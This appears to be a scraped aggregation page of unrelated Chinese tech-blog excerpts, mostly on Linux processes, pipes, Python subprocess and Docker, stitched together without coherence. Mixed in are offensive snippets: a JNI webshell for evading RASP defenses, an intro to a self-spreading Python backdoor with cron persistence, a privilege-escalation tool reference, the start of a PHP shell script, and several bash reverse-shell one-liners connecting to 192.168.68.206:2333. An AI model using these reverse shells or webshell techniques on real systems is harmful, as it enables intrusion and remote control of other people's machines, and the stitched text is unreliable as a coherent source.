1969年，Unix初始，没有fork，没有exec，没有pipe，没有 “一切皆文件” ，但是那时它已经是Unix了。它简单，可塑。
这里的内容以Linux进程基础和Linux文本流为基础。subprocess包主要功能是执行外部的命令和程序。比如说，我需要使用wget下载文件。我在Python中调用wget程序。从这个意义上来说，subprocess的功能与shell类似。 subprocess以及常用的封装函数 当我们运行python的时候，我们都是在创建并运行一个进程。正如我们在Linux进程基础中介绍的那样，一个进程可以fork一个子进程，并让这个子进程exec另外一个程序。在Python中，我们通过标准库中的subprocess
想到rasp这类工具是基于java、php运行期的堆栈信息进行分析，可以尝试使用jni技术进行绕过。java技术栈中的jni的原理是使用java调用c、c++函数，具体实现的思路是jsp编译为class文件，该class通过jni技术调用另外一处dll里的函数绕过黑名单执行命令获取回显，即可实现rasp和安全防护软件的绕过。github地址：https://github.com/nanolikeyou/jniwebshell
linux下，有时候拿到webshell需要提权，提权必须要得到一个交互式的shell。
/tmp/tmp4BEPxg/pip.zip/pip/_vendor/requests/packages/urllib3/util/ssl_.py:90: InsecurePlatformWarning: A true SSLContext object is not available. This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail. For more information, see https://urllib3.readthedocs.org/en/latest/security.html#insecureplatformwarning.
将多个文件合并为一个文件，常见的场景是类似于大文件分片上传，事先根据一定的文件大小拆分为多个小文件上传到服务端，最后服务端在合并起来。
其中提到 FFmpeg 引入了 Vulkan 驱动的新滤镜，用于视频水平、垂直翻转。
发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/126690.html原文链接：https://javaforall.cn
在使用 docker 容器的时候，我们总会想看看容器内部长什么样子：我们使用 docker exec 命令可以满足我们的期望：
对shell有一定了解的人都知道，管道和重定向是 Linux 中非常实用的 IPC 机制。在shell中，我们通常使用符合‘|’来表示管道，符号‘>’和‘<’表示重定向。那么管道和重定向的真实含义（定义）又是什么呢？
事情起因于公司一位同事在内部邮件组中post了一个问题，一个使用了go1.8.3写的业务程序跑了一段时间后出现部分goroutine卡在等待一个锁ForkLock的现象，同事认为这是go1.8.3的bug，升级到 go1.10 后没有再重现。为了搞清楚这个事情，同事在 github 上发了 issue ：
GitHub - liamg/traitor: :arrow_up: :fire: Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins, pwnkit, dirty pipe, +w docker.sock
进程间的通信—管道 管道 进程间的通信(IPC-Inter-Process Communication)有多种方式，管道是其中最基本的方式。 管道是半双工的，即是单向的。 管道是FIFO(先进先出)的。 在实际的多进程间通信时，可以理解为有一条管道，而每个进程都有两个可以使用管道的"端口"，分别负责进行数据的读取与发送。 单进程中的管道:int fd[2] 使用文件描述符fd[1],向管道写数据。 使用文件描述符fd[0],从管道中读数据。 注意: 单进程中的管道无实际用处，管道用于多进程间
复现环境： 蓝队：Linux Web 红队：Windows Antsword 原理：
asyncio.subprocess.Process 类提供了由 asyncio 运行的子进程的表示。它在 asyncio 程序中提供子进程的句柄，允许对其执行操作，例如等待和终止它。
Windows下载安装docker 新一极渗透测试教育培训第一课: 为什么要把docker放在第一课？ 工欲善其事，必先利其器。 一，安装方法 1，Docker下载地址 ： https://www.docker.com/docker-windows https://download.docker.com/win/stable/InstallDocker.msi 2，双击 installDocker.msi 进行安装 3，打开 cmd 运行
Linux下的进程通信手段基本上是从Unix平台上的进程通信手段继承而来的。而对Unix发展做出重大贡献的两大主力AT&T的贝尔实验室及BSD（加州大学伯克利分校的伯克利软件发布中心）在进程间通信方面的侧重点有所不同。前者对Unix早期的进程间通信手段进行了系统的改进和扩充，形成了“system V IPC”，通信进程局限在单个计算机内；后者则跳过了该限制，形成了基于套接口（socket）的进程间通信机制。Linux则把两者继承了下来，如图示：
前面一直想看该JNI的相关内容，但是发现JNI的资料还是偏少。后面发现JNI在安全中应用非常的微妙，有意思。
最近在学习bash脚本语法，但是如果对bash语法不是熟手的话，感觉非常容易出错，比如说：显示未定义的变量shell中变量没有定义，仍然是可以使用的，但是它的结果可能不是你所预期的。举个例子：
大家好，抱歉偷懒了几天，最近的作息也逐渐规律起来，更新也会尽量在早上 7 点前发出。接下来的日子里，让我们继续玩转 Python。
管道并不是什么新鲜事物，它是一项古老的技术，可以在很多操作系统(Unix、Linux、Windows 等)中找到，其本质是是用于进程间通信的共享内存区域，确切的的说应该是线程间的通信方法(IPC)。 顾名思义，管道是一个有两端的对象。一个进程向管道写入信息，而另外一个进程从管道读取信息。进程可以从这个对象的一个端口写数据，从另一个端口读数据。创建管道的进程称为管道服务器(Pipe Server)，而连接到这个管道的进程称为管道客户端(Pipe Client)。 在 Windows 系统中，存在两种类型的管道: “匿名管道”(Anonymous pipes)和“命名管道”(Named pipes)。匿名管道是基于字符和半双工的（即单向）；命名管道则强大的多，它是面向消息和全双工的，同时还允许网络通信，用于创建客户端/服务器系统。
UnixBench是一个类unix系（Unix，BSD，Linux）统下的性能测试工具，一个开源工具，被广泛用与测试linux系统主机的性能。Unixbench的主要测试项目有：系统调用、读写、进程、图形化测试、2D、3D、管道、运算、C库等系统基准性能提供测试数据。
今天的文章来展示一个 Python“病毒”，它使用后门代码感染其他 Python 文件。 利用 Python 的内置 socket 模块来创建一个监听器，用来连接到 Python 的内置子进程模块，从而靶机上执行命令，同时还通过创建一个 cronjob 来建立持久性，以在每天固定的时间运行恶意软件。 最终的 Python 脚本包含在本文末尾。 注意：请不要将本文中提供的 Python 脚本用于恶意目的。 虽然它不先进，但经过一些修改，它可以让完全控制某人的计算机。 本文的主要目的是通过这些脚本，更好地了解黑客如何获取正常程序并使它们成为恶意程序。
Bash $ bash -i >& /dev/tcp/192.168.68.206/2333 0>&1 $ exec 196<>/dev/tcp/192.168.68.206/2333; sh <&196 >&196 2>&196 $ exec 5<>/dev/tcp/192.168.68.206/2333 cat <&5 | while read line; do $line 2>&5 >&5;done $ exec 5<>/dev/tcp/192.168.68.206/2333 cat <&5 | wh
最近升级了一版kubelet，修复因kubelet删除Pod慢导致平台删除集群超时的问题。在灰度redis隔离集群的时候，发现升级kubelet并重启服务后，少量宿主状态变成了NotReady，并且回滚kubelet至之前版本，宿主状态仍然是NotReady。查看宿主状态时提示 ‘container runtime is down’ ，根据经验，此时一般就是容器运行时出了问题。弹性云使用的容器运行时是docker，我们就去检查docker的状态，检测结果如下：
在python2.7中安装cos-ftp-server出现的一些常见问题，记录下避免再次出现同样的问题
最近升级了一版 kubelet，修复因 kubelet 删除 Pod 慢导致平台删除集群超时的问题。在灰度 redis 隔离集群的时候，发现升级 kubelet 并重启服务后，少量宿主状态变成了 NotReady，并且回滚 kubelet 至之前版本，宿主状态仍然是 NotReady。查看宿主状态时提示 ‘container runtime is down’ ，根据经验，此时一般就是容器运行时出了问题。弹性云使用的容器运行时是 docker，我们就去检查 docker 的状态，检测结果如下：
一、定义和理解 狭义定义：进程是正在运行的程序的实例。 广义定义：进程是一个具有一定独立功能的程序关于某个数据集合的一次运行活动。 进程的概念主要有两点： 第一，进程是一个实体。每一个进程都有它自己的地址空间，一般情况下，包括文本区域、数据区域和堆栈区域。文本区域存储处理器执行的代码；数据区域存储变量和进程执行期间使用的动态分配的内存；堆栈区域存储着活动过程调用的指令和本地变量。 第二，进程是一个“执行中的程序”。程序是一个没有生命的实体，只有处理器赋予程序生命时，它才能成为一个活动的实体，我们称其为进程。
<?php /* ============== */ error_reporting(0); ini_set('max_execution_time',0); // -------------
由此可以看出NIO的管道和BIO模式下的管道是不同的，在NIO模式下没有输入输出流的概念但是使用发送sink和读取source的channe。使用同一个pipe实现线程之间数据的流转
execdriver如何调用libcontainer加载容器配置container，继而创建真正的Docker容器？
生产环境使用 Fedora 28， 并且需要搭建一个 Jupyter 的notebook 方便使用，所搭建的Jupyter 支持单人远程 密码访问
1.管道使用 ''' 管道Pipe ''' from multiprocessing import Process,Pipe def f(conn): conn.send('child message')#给主进程发送消息 conn.close() if __name__=='__main__': parent_conn,child_conn=Pipe() p=Process(target=f,args=(child_conn,)) p.start() pr
$shell$ 诸位应该很熟悉，它获取控制台的输入，然后执行一定的任务，实现人机交互。本文主要通过 $xv6$ 来看看如何实现一个简单的 $shell$，$shell$ 实现分为两个主要步骤，一解析输入的命令字符串，二执行命令。
管道命令我们经常使用，将一个指令的输出导入另一个指令的输入，也就是屁股对上嘴，这个原理连编程小学生都知道。但是如果要深入问进去，一个指令的输出是如何导入到另一个指令的输入，管道又起到什么角色，估计能回答这个问题的人不足 1%。下面我们来深入分析一下管道指令的实现原理，对于下面的这条指令，shell 到底干了些什么
在linux中我们可以使用watch和nvidia-smi来不停刷新GPU信息，但是在windows上没有watch，只能通过nvidia-smi -l 1来实现最快一秒一刷新，但是显示的效果是一闪一闪的，而且不支持低于1秒的刷新频率。我于是有了用pyqt来呈现结果的想法，并且可以支持毫秒级别的刷新效果图图片代码总览开源地址：Githubimport timeimport subprocessimport threadingimport localeimport codecsimport osimport
每个进程在内核中都有一个进程控制块（PCB）来维护进程相关的信息，Linux内核的进程控制块是task_struct结构体。
众所周知scrapy是Python中鼎鼎大名的爬虫框架，在安装scrapy过程中碰到了openssl某个文件找不到的问题，并进行了分析，记录之。
这个问题我因为不是第一次遇到了，但是每次都去网站找答案，结果找了一圈，发现大多都并不能解决问题，这次终于花了点时间解决了这个问题，故此记录下来
总结：父进程fork出子进程去执行指定的文件或者应用，双方根据参数设置的共享fd来通信，这个示例比较简单，父进程只需要等待结束捕获信号就可以了。
如果是在 Windows 上，用 _popen 和 _pclose 代替 popen 和 pclose 即可。
0x01 前奏说明 很多时候,不到万不得已的情况下,我们完全没必要非往目标机器里传一堆工具,先不说由于各种防护[不仅仅是杀软的问题],传工具困难重重,有时由于自己的粗心,走的时候很容易把各种工具落在目标机器上,万一哪天被人看见,一看工具就大概知道你上来都干了啥,尤其是很多小伙伴在用别人工具时候也不爱做点儿什么手脚,后果你自然是很懂的,嘿嘿…… 其实,个人一直觉得,如果能利用目标系统自身的环境或者工具帮我们搞定的,最好就直接用那个,也省去了不少的麻烦,比如,最简单的,利用目标系统中自带的各种工具及语言环境帮我
在node中，child_process这个模块非常重要。掌握了它，等于在node的世界开启了一扇新的大门。熟悉shell脚本的同学，可以用它来完成很多有意思的事情，比如文件压缩、增量部署等，感兴趣的同学，看文本文后可以尝试下。
鉴于目前还没有针对这个漏洞的详细分析，原作者的advisory对新手来说也很不友好，我就写了这篇文章。
本文作者：IMWeb 陈映平 原文出处：IMWeb社区 未经同意，禁止转载 模块概览 在node中，child_process这个模块非常重要。掌握了它，等于在node的世界开启了一扇新的大
subprocess最早在2.4版本引入。用来生成子进程，并可以通过管道连接他们的输入/输出/错误，以及获得他们的返回值。
运行python的时候，我们都是在创建并运行一个进程。像Linux进程那样，一个进程可以fork一个子进程，并让这个子进程exec另外一个程序。在Python中，我们通过标准库中的subprocess包来fork一个子进程，并运行一个外部的程序。
在学校的时候泛泛读过一遍 apue,其中的部分知识只是有个大概印象，其实我个人对底层技术还是有热情和追求的 哈哈，打算把经典的书籍结合遇到的场景重读一遍，先拿 Linux 文件系统练习下。代码参考的是Linux早期的代码，没有现代内核的高级特性，VFS这部分只有介绍。
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